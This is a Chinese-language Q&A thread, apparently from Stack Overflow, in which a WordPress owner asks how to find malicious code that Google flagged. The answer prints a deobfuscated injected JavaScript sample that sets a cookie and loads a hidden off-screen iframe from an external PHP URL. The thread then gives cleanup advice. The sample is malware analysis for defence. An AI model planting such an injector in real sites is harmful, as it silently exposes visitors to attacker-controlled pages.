8

我的 Wordpress 网站最近感染了恶意软件并被列入黑名单。我以为我通过更新站点和插件并删除任何我不认识的代码来修复它。

然后我使用了 Sucuri Site Checker，看起来还不错，所以我向 Google 提交了审查请求。然而，谷歌表示它仍然包含恶意代码形式的恶意软件（他们将其称为代码注入）。

我有点不知所措。有没有办法找到谷歌正在寻找的代码？该域是 sudorf.co.uk，但它有恶意软件，所以我不建议去那里 - 不知道恶意软件会做什么。

任何帮助将不胜感激。

编辑：几天前我发现了该代码并将其删除，然后我更新了所有版本等。但显然它又回来了。有谁知道它是如何到达那里的。我的想法是它要么来自插件——这就是我要删除所有插件的原因。另一个是联系表格——但我认为这不会允许他们编辑 header.php。

4

1 回答 1

8

这是纯粹的信息。您的恶意软件经过去混淆处理后如下所示：

 function k09() {
     var static = 'ajax';
     var controller = 'index.php';
     var k = document.createElement('iframe');

     k.src = 'http://dostojewskij-gesellschaft.de/VD49Jdzr.php';
     k.style.position = 'absolute';
     k.style.color = '512';
     k.style.height = '512px';
     k.style.width = '512px';
     k.style.left = '1000512';
     k.style.top = '1000512';

     if (!document.getElementById('k')) {
         document.write('<p id=\'k\' class=\'k09\' ></p>');
         document.getElementById('k').appendChild(k);
     }
 }

 function SetCookie(cookieName, cookieValue, nDays, path) {
     var today = new Date();
     var expire = new Date();
     if (nDays == null || nDays == 0) nDays = 1;
     expire.setTime(today.getTime() + 3600000 * 24 * nDays);
     document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
 }

 function GetCookie(name) {
     var start = document.cookie.indexOf(name + "=");
     var len = start + name.length + 1;
     if ((!start) &&
         (name != document.cookie.substring(0, name.length))) {
         return null;
     }
     if (start == -1) return null;
     var end = document.cookie.indexOf(";", len);
     if (end == -1) end = document.cookie.length;
     return unescape(document.cookie.substring(len, end));
 }
 if (navigator.cookieEnabled) {
     if (GetCookie('visited_uq') == 55) {} else {
         SetCookie('visited_uq', '55', '1', '/');

         k09();
     }
 }

http://dostojewskij-gesellschaft.de/VD49Jdzr.php简单地输出“OK”。

为什么？

我的猜测是这是一个 IP/流量记录器。也许让黑客检查哪些博客最活跃，然后再回来入侵该特定网站（无需在每月有 2 个访问者的网站上浪费时间）。这有好有坏。

好的部分是他们似乎没有使用您的任何用户数据库或其他任何东西。

不好的部分是他们很可能已经下载了您的整个数据库，因为他们显然在您的服务器上拥有执行权限，并且可能已经将他们的 PHP 文件放置在您的服务器上。您最好的选择是从一个新的 WP 开始，并在手动检查它们的同时一个接一个地复制插件/主题。

更改所有密码。甚至您的数据库登录名。考虑一切妥协。

于 2013-09-05T14:20:15.407 回答